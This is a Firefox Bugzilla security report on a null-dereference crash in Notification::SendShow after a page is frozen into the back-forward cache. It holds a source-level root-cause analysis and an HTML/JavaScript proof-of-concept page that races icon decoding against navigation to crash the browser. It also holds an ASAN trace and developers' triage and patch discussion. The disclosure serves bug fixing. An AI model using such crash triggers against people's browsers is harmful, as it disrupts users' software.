2067657 - Null deref crash in Notification::SendShow after bfcache freeze closed it

Reporter

Description

•

19 days ago

SEGV in IProtocol::CanSend ← PNotificationChild::SendShow ←
Notification::SendShow (dom/notification/Notification.cpp:884), reached from
the icon-fetch MozPromise chain that outlives the freeze that killed the actor.

The bug

A non-persistent Notification created with an icon does not show itself
synchronously. Notification::Constructor → LoadImageAndShow
(Notification.cpp:789) kicks an asynchronous main-thread fetch + decode of the
icon, and only when that chain settles does the final Then-callback
(Notification.cpp:869-873) call self->SendShow(promise, icon) — which sends
the Show message through the notification's PNotificationChild actor held in
the WeakPtr mActor member (Notification.cpp:884).

The only guard on that path is the closed flag:

void Notification::SendShow(Promise* aPromise, Maybe<IPCImage>&& aIcon) {
  if (mIsClosed) {            // Notification.cpp:878
    ...
    return;
  }
  mActor->SendShow(std::move(aIcon))   // Notification.cpp:884  <-- no actor check

Bfcache freeze breaks that guard. When the page is frozen,
nsIGlobalObject::NotifyGlobalFrozen (dom/base/nsIGlobalObject.cpp:266) walks
the window's freeze observers, and NotificationChild is one
(dom/notification/NotificationChild.cpp:24 binds it to the window global):

void NotificationChild::FrozenCallback(nsIGlobalObject* aGlobal) {
  // Make sure the closure below won't dispatch close event and still allow
  // explicit close() call.
  mNonPersistentNotification = nullptr;   // NotificationChild.cpp:106
  Close();                                // NotificationChild.cpp:109
  DisconnectFreezeObserver();
}

Close() tears the actor down. NotificationChild::ActorDestroy
(NotificationChild.cpp:95-101) is the only thing that would tell the
Notification it is closed — but it keys off the very back-pointer that
FrozenCallback just nulled:

void NotificationChild::ActorDestroy(ActorDestroyReason aWhy) {
  if (RefPtr<Notification> notification = mNonPersistentNotification.get()) {
    notification->MaybeNotifyClose();     // sets mIsClosed -- SKIPPED here
  }
}

So after a freeze: mIsClosed == false, mActor is no longer a live actor.

POC

<!doctype html>
<meta charset=utf-8>
<title>notif-freeze-sendshow</title>
<body>
<script>
(async () => {
  const out = (m) => { try { dump("T849 " + m + "\n"); } catch (e) {} };
  try {
    const q = new URLSearchParams(location.search);
    const cycle = parseInt(q.get("c") || "1", 10);
    const CYCLES = 8, N = 80;

    window.addEventListener("pagehide", (e) => {
      out("pagehide persisted=" + e.persisted + " cycle=" + cycle);
    });
    window.addEventListener("pageshow", (e) => {
      out("pageshow persisted=" + e.persisted + " cycle=" + cycle);
    });

    if (cycle > CYCLES) {
      // Every cycle lost the race -- an honest clean run, and the markers
      // above say exactly how many cycles were tried.  Idle to timeout.
      out("cycle cap reached without a crash; idling");
      for (;;) { await new Promise(r => setTimeout(r, 1000)); }
    }
    out("boot cycle=" + cycle + "/" + CYCLES);

    // A 1024x1024 noise PNG: every icon pays a real decode plus a 4 MB
    // SurfaceToIPCImage copy on the main thread, so the queue is still
    // draining long after the fast data: fetches have all closed.
    const c = document.createElement("canvas");
    c.width = c.height = 1024;
    const g = c.getContext("2d");
    const id = g.createImageData(1024, 1024);
    for (let i = 0; i < id.data.length; i += 4) {
      id.data[i] = i & 255;
      id.data[i + 1] = (i >> 3) & 255;
      id.data[i + 2] = (i >> 6) & 255;
      id.data[i + 3] = 255;
    }
    g.putImageData(id, 0, 0);
    const icon = c.toDataURL("image/png");

    for (let i = 0; i < N; i++) {
      const n = new Notification("n" + i, { icon: icon, tag: "t" + i });
      n.onclick = () => {};
      n.onclose = () => {};
    }
    out("constructed " + N + " cycle=" + cycle);

    // Wait out the fetch phase, then navigate: the freeze lands inside
    // the decode queue, and every chain settling after FrozenCallback
    // walks into mActor->SendShow with mIsClosed still false.
    setTimeout(() => {
      out("navigate cycle=" + cycle);
      location.href = "next.html?c=" + cycle;
    }, 50);
  } catch (e) {
    out("ERR " + e);
  }
})();
</script>
</body>
</html>

ASAN report

/home/zx/ff/firefox_lasted/obj-asan/dist/bin/firefox -no-remote -headless file:///home/zx/ff/poc.html

==1122082==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x74e0cb58b871 bp 0x7fff0f0d9b90 sp 0x7fff0f0d9b80 T0)
==1122082==The signal is caused by a READ memory access.
==1122082==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
console.warn: services.settings: #fetchAttachment: Forcing fallbackToDump to false due to Utils.LOAD_DUMPS being false
console.error: (new NotFoundError("Could not find fa0fc42c-d91d-fca7-34eb-806ff46062dc in cache or dump", "resource://services-settings/Attachments.sys.mjs", 48))
console.warn: "Unable to find the attachment for" "fa0fc42c-d91d-fca7-34eb-806ff46062dc"
    #0 0x74e0cb58b871 in CanSend /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/ipc/ProtocolUtils.h:231:33
    #1 0x74e0cb58b871 in mozilla::ipc::IProtocol::ChannelSend(std::unique_ptr<IPC::Message, std::default_delete<IPC::Message>>, long*) /home/zx/ff/firefox_lasted/obj-asan/ipc/glue/./../../../ipc/glue/ProtocolUtils.cpp:490:7
    #2 0x74e0d446c58e in mozilla::dom::notification::PNotificationChild::SendShow(mozilla::Maybe<mozilla::dom::IPCImage>&&, fu2::abi_400::detail::function<fu2::abi_400::detail::config<true, false, fu2::capacity_fixed<16ul, 8ul>>, fu2::abi_400::detail::property<false, false, void (mozilla::CopyableErrorResult&&)>>&&, fu2::abi_400::detail::function<fu2::abi_400::detail::config<true, false, fu2::capacity_fixed<16ul, 8ul>>, fu2::abi_400::detail::property<false, false, void (mozilla::ipc::ResponseRejectReason)>>&&) /home/zx/ff/firefox_lasted/obj-asan/dom/notification/./../../ipc/ipdl/PNotificationChild.cpp:132:9
    #3 0x74e0d445f253 in mozilla::dom::notification::PNotificationChild::SendShow(mozilla::Maybe<mozilla::dom::IPCImage>&&) /home/zx/ff/firefox_lasted/obj-asan/dom/notification/./../../ipc/ipdl/PNotificationChild.cpp:164:5
    #4 0x74e0d445e87b in mozilla::dom::Notification::SendShow(mozilla::dom::Promise*, mozilla::Maybe<mozilla::dom::IPCImage>&&) /home/zx/ff/firefox_lasted/obj-asan/dom/notification/./../../../dom/notification/Notification.cpp:884:11
    #5 0x74e0d44732ae in operator() /home/zx/ff/firefox_lasted/obj-asan/dom/notification/./../../../dom/notification/Notification.cpp:872:19
    #6 0x74e0d44732ae in InvokeMethod<(lambda at ./../../../dom/notification/Notification.cpp:869:11), void ((lambda at ./../../../dom/notification/Notification.cpp:869:11)::*)(mozilla::Maybe<mozilla::dom::IPCImage> &&) const, mozilla::Maybe<mozilla::dom::IPCImage> > /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/MozPromise.h:666:14
    #7 0x74e0d44732ae in InvokeCallbackMethod<false, mozilla::MozPromise<mozilla::Maybe<mozilla::dom::IPCImage>, bool, true>, (lambda at ./../../../dom/notification/Notification.cpp:869:11), void ((lambda at ./../../../dom/notification/Notification.cpp:869:11)::*)(mozilla::Maybe<mozilla::dom::IPCImage> &&) const, mozilla::Maybe<mozilla::dom::IPCImage> > /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/MozPromise.h:680:7
    #8 0x74e0d44732ae in mozilla::MozPromise<mozilla::Maybe<mozilla::dom::IPCImage>, bool, true>::ThenValue<mozilla::dom::Notification::LoadImageAndShow(mozilla::dom::Promise*, mozilla::dom::Notification::ContextInfo&&)::$_2, mozilla::dom::Notification::LoadImageAndShow(mozilla::dom::Promise*, mozilla::dom::Notification::ContextInfo&&)::$_3>::DoResolveOrRejectInternal(mozilla::MozPromise<mozilla::Maybe<mozilla::dom::IPCImage>, bool, true>::ResolveOrRejectValue&) /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/MozPromise.h:878:17
    #9 0x74e0d4498e08 in mozilla::MozPromise<mozilla::Maybe<mozilla::dom::IPCImage>, bool, true>::ThenValueBase::ResolveOrRejectRunnable::Run() /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/MozPromise.h:502:21
    #10 0x74e0cb2f66ba in mozilla::RunnableTask::Run() /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TaskController.cpp:721:16
    #11 0x74e0cb2d0c53 in mozilla::TaskController::RunTask(mozilla::Task*) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TaskController.cpp:212:19
    #12 0x74e0cb2d7c73 in mozilla::TaskController::DoExecuteNextTaskOnlyMainThreadInternal(mozilla::detail::BaseAutoLock<mozilla::Mutex&> const&) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TaskController.cpp:1360:20
    #13 0x74e0cb2d5708 in mozilla::TaskController::ExecuteNextTaskOnlyMainThreadInternal(mozilla::detail::BaseAutoLock<mozilla::Mutex&> const&) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TaskController.cpp:1183:15
    #14 0x74e0cb2d5d36 in mozilla::TaskController::ProcessPendingMTTask(bool) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TaskController.cpp:657:36
    #15 0x74e0cb2d8c91 in operator() /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TaskController.cpp:349:37
    #16 0x74e0cb2d8c91 in mozilla::detail::RunnableFunction<mozilla::TaskController::TaskController()::$_0>::Run() /home/zx/ff/firefox_lasted/xpcom/threads/nsThreadUtils.h:535:5
    #17 0x74e0cb319ccd in nsThread::ProcessNextEvent(bool, bool*) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/nsThread.cpp:1177:16
    #18 0x74e0cb323c21 in NS_ProcessNextEvent(nsIThread*, bool) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/nsThreadUtils.cpp:471:32
    #19 0x74e0cb5749d3 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/zx/ff/firefox_lasted/obj-asan/ipc/glue/./../../../ipc/glue/MessagePump.cpp:83:21
    #20 0x74e0cb442ef4 in RunInternal /home/zx/ff/firefox_lasted/obj-asan/ipc/chromium/./../../../ipc/chromium/src/base/message_loop.cc:371:10
    #21 0x74e0cb442ef4 in RunHandler /home/zx/ff/firefox_lasted/obj-asan/ipc/chromium/./../../../ipc/chromium/src/base/message_loop.cc:364:3
    #22 0x74e0cb442ef4 in MessageLoop::Run() /home/zx/ff/firefox_lasted/obj-asan/ipc/chromium/./../../../ipc/chromium/src/base/message_loop.cc:346:3
    #23 0x74e0d60f3b6c in nsBaseAppShell::Run() /home/zx/ff/firefox_lasted/obj-asan/widget/./../../widget/nsBaseAppShell.cpp:151:27
    #24 0x74e0d6342e4b in nsAppShell::Run() /home/zx/ff/firefox_lasted/obj-asan/widget/gtk/./../../../widget/gtk/nsAppShell.cpp:580:33
    #25 0x74e0d8940ce5 in XRE_RunAppShell() /home/zx/ff/firefox_lasted/toolkit/xre/nsEmbedFunctions.cpp:644:20
    #26 0x74e0cb442ef4 in RunInternal /home/zx/ff/firefox_lasted/obj-asan/ipc/chromium/./../../../ipc/chromium/src/base/message_loop.cc:371:10
    #27 0x74e0cb442ef4 in RunHandler /home/zx/ff/firefox_lasted/obj-asan/ipc/chromium/./../../../ipc/chromium/src/base/message_loop.cc:364:3
    #28 0x74e0cb442ef4 in MessageLoop::Run() /home/zx/ff/firefox_lasted/obj-asan/ipc/chromium/./../../../ipc/chromium/src/base/message_loop.cc:346:3
    #29 0x74e0d8940425 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/zx/ff/firefox_lasted/toolkit/xre/nsEmbedFunctions.cpp:582:34
    #30 0x6156b9f7306e in main /home/zx/ff/firefox_lasted/browser/app/nsBrowserApp.cpp:469:22
    #31 0x78e0e6d37574 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #32 0x78e0e6d37627 in __libc_start_main csu/../csu/libc-start.c:360:3
    #33 0x6156b9e8a7b8 in _start (/home/zx/ff/firefox_lasted/obj-asan/dist/bin/firefox+0xb87b8) (BuildId: fb105414eecb55930e1dfb041f09ca11)

==1122082==Register values:
rax = 0xfffffffffffffea5  rbx = 0x00007fff0f0d9ba0  rcx = 0x1fffffffffffffd4  rdx = 0x000074e0e4c8bd00  
rdi = 0xfffffffffffffe90  rsi = 0x000074e0e4c8bd20  rbp = 0x00007fff0f0d9b90  rsp = 0x00007fff0f0d9b80  
 r8 = 0x000074e0e4c8bce0   r9 = 0x00007600e5de1588  r10 = 0x00000ede1cc97126  r11 = 0x00000ede9cc8f120  
r12 = 0x000074e0e4c8bd20  r13 = 0x00000ec01cbbc2b1  r14 = 0x000074e0e4c8bd00  r15 = 0x00000e9c9c989780  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/ipc/ProtocolUtils.h:231:33 in CanSend

Flags: sec-bounty?

Tom Schuster

Updated

•

19 days ago

Group: firefox-core-security → dom-core-security

Component: Security → DOM: Notifications

Product: Firefox → Core

Andrew McCreight [:mccr8]

Comment 1

•

19 days ago

mActor is a WeakPtr and this code has failed to do a null check on the get() call. get() is defined like T* get() const { return mRef ? static_cast<T*>(mRef->get()) : nullptr; }. I think the compiler can optimize out the null check so we're doing mRef->get(). Not exactly a UAF but maybe there's some kind of type confusion here?

Keywords: csectype-undefined

Andrew McCreight [:mccr8]

Updated

•

19 days ago

Assignee: nobody → continuation

Andrew McCreight [:mccr8]

Comment 2

•

19 days ago

I talked to Nika a bit about this. I was confused about why it wasn't a null deref crash like I expected, but Nika pointed out that it is a small negative offset from null, probably due to the cast in here. So this is actually a safe null deref crash like I thought it should be. In theory this is still undefined behavior so maybe it should be left as sec-low? But maybe not. The compiler would have to be a bit silly to leverage the undefined behavior to be evil instead of merely deleting the null check.

Keywords: sec-low

Summary: Notification::SendShow uses a dead IPC actor after bfcache freeze closed it → Null deref crash in Notification::SendShow after bfcache freeze closed it

Andrew McCreight [:mccr8]

Comment 3

•

19 days ago

It looks like this happens occasionally in the wild, under a few signatures.
bp-52fb333d-89aa-42ae-865e-0be8e0260830 [@ mozilla::dom::notification::PNotificationChild::SendShow ]
bp-aaef863e-c69a-41f5-87b7-971a40260828 [@ mozilla::ipc::IProtocol::CanSend ] (too generic so I won't add it)
bp-9ee445a0-ec2d-4fd6-b118-685500260811 [@ mozilla::ipc::IProtocol::ChannelSend | mozilla::dom::notification::PNotificationChild::SendShow ]

Group: dom-core-security

Crash Signature: [@ mozilla::dom::notification::PNotificationChild::SendShow ] [@ mozilla::ipc::IProtocol::ChannelSend | mozilla::dom::notification::PNotificationChild::SendShow ]

Keywords: crash

Andrew McCreight [:mccr8]

Comment 4

•

17 days ago

Attached file Bug 2067657 - Check the mActor referent in Notification::SendShow. — Details

Kagami Rosylight 🏳️‍🌈🏳️‍⚧️ [:saschanaz] (they/them)

Assignee

Updated

•

17 days ago

Keywords: regression

Regressed by: 1997282, 610031

Kagami Rosylight 🏳️‍🌈🏳️‍⚧️ [:saschanaz] (they/them)

Assignee

Updated

•

17 days ago

No longer regressed by: 610031

BugBot [:suhaib / :marco]

Comment 5

•

17 days ago

Set release status flags based on info from the regressing bug 1997282

status-firefox155: --- → affected

status-firefox156: --- → affected

status-firefox157: --- → affected

status-firefox-esr140: --- → unaffected

status-firefox-esr153: --- → affected

Ryan VanderMeulen [:RyanVM]

Updated

•

17 days ago

status-firefox155: affected → wontfix

status-firefox156: affected → fix-optional

Kagami Rosylight 🏳️‍🌈🏳️‍⚧️ [:saschanaz] (they/them)

Assignee

Updated

•

16 days ago

Severity: -- → S3

Daniel Veditz [:dveditz]

Updated

•

14 days ago

Flags: sec-bounty? → sec-bounty-

BugBot [:suhaib / :marco]

Comment 6

•

8 days ago

Set release status flags based on info from the regressing bug 1997282

status-firefox158: --- → affected

Andrew McCreight [:mccr8]

Comment 7

•

7 days ago

The test case included in comment 0 is not complete, as it refers to a next.html.

Andrew McCreight [:mccr8]

Comment 8

•

5 days ago

I started making the suggested adjustment to the patch but I think I'm over my head here so I'm going to stop working on it.

Assignee: continuation → nobody

Kagami Rosylight 🏳️‍🌈🏳️‍⚧️ [:saschanaz] (they/them)

Assignee

Comment 9

•

5 days ago

Taking it over, thanks!

Assignee: nobody → krosylight

Donal Meehan [:dmeehan]

Updated

•

4 days ago

status-firefox156: fix-optional → wontfix